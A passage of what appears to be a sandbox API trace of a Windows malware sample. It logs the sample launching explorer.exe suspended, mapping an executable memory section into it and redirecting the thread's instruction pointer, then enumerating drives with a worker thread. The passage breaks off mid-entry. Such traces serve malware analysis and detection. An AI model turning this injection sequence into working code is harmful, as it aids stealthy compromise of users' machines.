[0032.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20a) returned 0x442240 [0032.192] GetSystemDirectoryW (in: lpBuffer=0x442240, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0032.192] wcscat (in: _Dest=0x442240, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0032.192] wcscat (in: _Dest=0x442240, _Source="explorer.exe" | out: _Dest="C:\\Windows\\system32\\explorer.exe") returned="C:\\Windows\\system32\\explorer.exe" [0032.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x28) returned 0x408860 [0032.192] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000022, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xef9e8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xefa90 | out: lpCommandLine=0x0, lpProcessInformation=0xefa90*(hProcess=0x1ac, hThread=0x1a4, dwProcessId=0x968, dwThreadId=0x96c)) returned 1 [0032.196] WaitForDebugEvent (in: lpDebugEvent=0xefa2c, dwMilliseconds=0xffffffff | out: lpDebugEvent=0xefa2c) returned 1 [0033.151] NtCreateSection (in: SectionHandle=0xef6f4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0xef6d4, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0xef6f4*=0x1bc) returned 0x0 [0033.151] NtMapViewOfSection (in: SectionHandle=0x1bc, ProcessHandle=0xffffffff, BaseAddress=0xef6f8*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0xef6e8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0xef6f8*=0x1e0000, SectionOffset=0x0, ViewSize=0xef6e8*=0x1b000) returned 0x0 [0033.152] NtMapViewOfSection (in: SectionHandle=0x1bc, ProcessHandle=0x1ac, BaseAddress=0xef6f0*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0xef6e8*=0x1b000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0xef6f0*=0x70000, SectionOffset=0x0, ViewSize=0xef6e8*=0x1b000) returned 0x0 [0033.153] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x1e0000) returned 0x0 [0033.154] NtClose (Handle=0x1bc) returned 0x0 [0033.154] NtGetContextThread (in: ThreadHandle=0x1a4, Context=0xef71c | out: Context=0xef71c*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xff0efa, Ebp=0x0, Eip=0x771401c4, SegCs=0x23, EFlags=0x202, Esp=0x27fb98, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0033.155] NtSetContextThread (ThreadHandle=0x1a4, Context=0xef71c*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xff0efa, Ebp=0x0, Eip=0x83400, SegCs=0x23, EFlags=0x202, Esp=0x27fb98, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0033.155] ContinueDebugEvent (dwProcessId=0x968, dwThreadId=0x96c, dwContinueStatus=0x80010001) returned 1 [0033.155] DebugActiveProcessStop (dwProcessId=0x968) returned 1 [0033.228] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442240) returned 1 [0033.228] Sleep (dwMilliseconds=0x4e20) [0045.508] SetErrorMode (uMode=0x8003) returned 0x0 [0045.508] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0045.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc) returned 0x415b70 [0045.509] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x415b70 | out: lpBuffer="C:\\") returned 0x4 [0045.509] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x415f00 [0045.509] wcscpy (in: _Dest=0x415f00, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x415f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0045.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415b70) returned 1 [0045.511] Sleep (dwMilliseconds=0x3e8) [0049.043] Sleep (dwMilliseconds=0x3e8) [0059.815] Sleep (dwMilliseconds=0x3e8) Thread: id = 3 os_tid = 0x954 Thread: id = 4 os_tid = 0x958 [0032.172] Sleep (dwMilliseconds=0x1) [0032.188] Sleep (dwMilliseconds=0x1) [0032.357] Sleep (dwMilliseconds=0x1) [0033.228] Sleep (dwMilliseconds=0x1) [0033.283] Sleep (dwMilliseconds=0x1) [0033.348] Sleep (dwMilliseconds=0x1) [0033.398] Sleep (dwMilliseconds=0x1) [0033.500] Sleep (dwMilliseconds=0x1) [0034.414] Sleep (dwMilliseconds=0x1) [0034.464] Sleep (dwMilliseconds=0x1) [0034.512] Sleep (dwMilliseconds=0x1) [0034.555] Sleep (dwMilliseconds=0x1) [0034.605] Sleep (dwMilliseconds=0x1) [0034.892] Sleep (dwMilliseconds=0x1) [0035.072] Sleep (dwMilliseconds=0x1) [0035.089] Sleep (dwMilliseconds=0x1) [0035.172] Sleep (dwMilliseconds=0x1) [0035.349] Sleep (dwMilliseconds=0x1) [0035.393] Sleep (dwMilliseconds=0x1) [0035.488] Sleep (dwMilliseconds=0x1) [0035.541] Sleep (dwMilliseconds=0x1) [0035.571] Sleep (dwMilliseconds=0x1) [0035.664] Sleep (dwMilliseconds=0x1) [0035.720] Sleep (dwMilliseconds=0x1) [0035.750] Sleep (dwMilliseconds=0x1) [0035.789] Sleep (dwMilliseconds=0x1) [0035.832] Sleep (dwMilliseconds=0x1) [0036.041] Sleep (dwMilliseconds=0x1) [0036.306] Sleep (dwMilliseconds=0x1) [0036.399] Sleep (dwMilliseconds=0x1) [0036.452] Sleep (dwMilliseconds=0x1) [0036.490] Sleep (dwMilliseconds=0x1) [0036.520] Sleep (dwMilliseconds=0x1) [0036.548] Sleep (dwMilliseconds=0x1) [0036.608] Sleep (dwMilliseconds=0x1) [0036.641] Sleep (dwMilliseconds=0x1) [0036.690] Sleep (dwMilliseconds=0x1) [0036.714] Sleep (dwMilliseconds=0x1) [0037.167] Sleep (dwMilliseconds=0x1) [0037.222] Sleep (dwMilliseconds=0x1) [0037.272] Sleep (dwMilliseconds=0x1) [0037.306] Sleep (dwMilliseconds=0x1) [0037.579] Sleep (dwMilliseconds=0x1) [0038.015] Sleep (dwMilliseconds=0x1) [0038.145] Sleep (dwMilliseconds=0x1) [0038.160] Sleep (dwMilliseconds=0x1) [0038.177] Sleep (dwMilliseconds=0x1) [0038.214] Sleep (dwMilliseconds=0x1) [0039.154] Sleep (dwMilliseconds=0x1) [0039.197] Sleep (dwMilliseconds=0x1) [0039.237] Sleep (dwMilliseconds=0x1) [0039.255] Sleep (dwMilliseconds=0x1) [0039.300] Sleep (dwMilliseconds=0x1) [0040.162] Sleep (dwMilliseconds=0x1) [0040.231] Sleep (dwMilliseconds=0x1) [0040.299] Sleep (dwMilliseconds=0x1) [0040.379] Sleep (dwMilliseconds=0x1) [0040.420] Sleep (dwMilliseconds=0x1) [0041.209] Sleep (dwMilliseconds=0x1) [0041.257] Sleep (dwMilliseconds=0x1) [0041.339] Sleep (dwMilliseconds=0x1) [0041.367] Sleep (dwMilliseconds=0x1) [0041.413] Sleep (dwMilliseconds=0x1) [0042.266] Sleep (dwMilliseconds=0x1) [0042.428] Sleep (dwMilliseconds=0x1) [0042.738] Sleep (dwMilliseconds=0x1) [0042.757] Sleep (dwMilliseconds=0x1) [0042.792] Sleep (dwMilliseconds=0x1) [0043.103] Sleep (dwMilliseconds=0x1) [0043.590] Sleep (dwMilliseconds=0x1) [0043.615] Sleep (dwMilliseconds=0x1) [0043.641] Sleep (dwMilliseconds=0x1) [0043.761] Sleep (dwMilliseconds=0x1) [0044.245] Sleep (dwMilliseconds=0x1) [0044.615] Sleep (dwMilliseconds=0x1) [0044.625] Sleep (dwMilliseconds=0x1) [0044.642] Sleep (dwMilliseconds=0x1) [0044.674] Sleep (dwMilliseconds=0x1) [0044.726] Sleep (dwMilliseconds=0x1) [0045.507] Sleep (dwMilliseconds=0x1) [0045.519] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0045.520] Sleep (dwMilliseconds=0x1) [0045.549] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x0 [0045.549] CloseHandle (hObject=0x1bc) returned 1 [0045.549] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x0 [0045.549] CloseHandle (hObject=0x1b4) returned 1 [0045.549] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0045.549] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0045.549] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x102 [0045.549] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0045.549] WaitForSingleObject 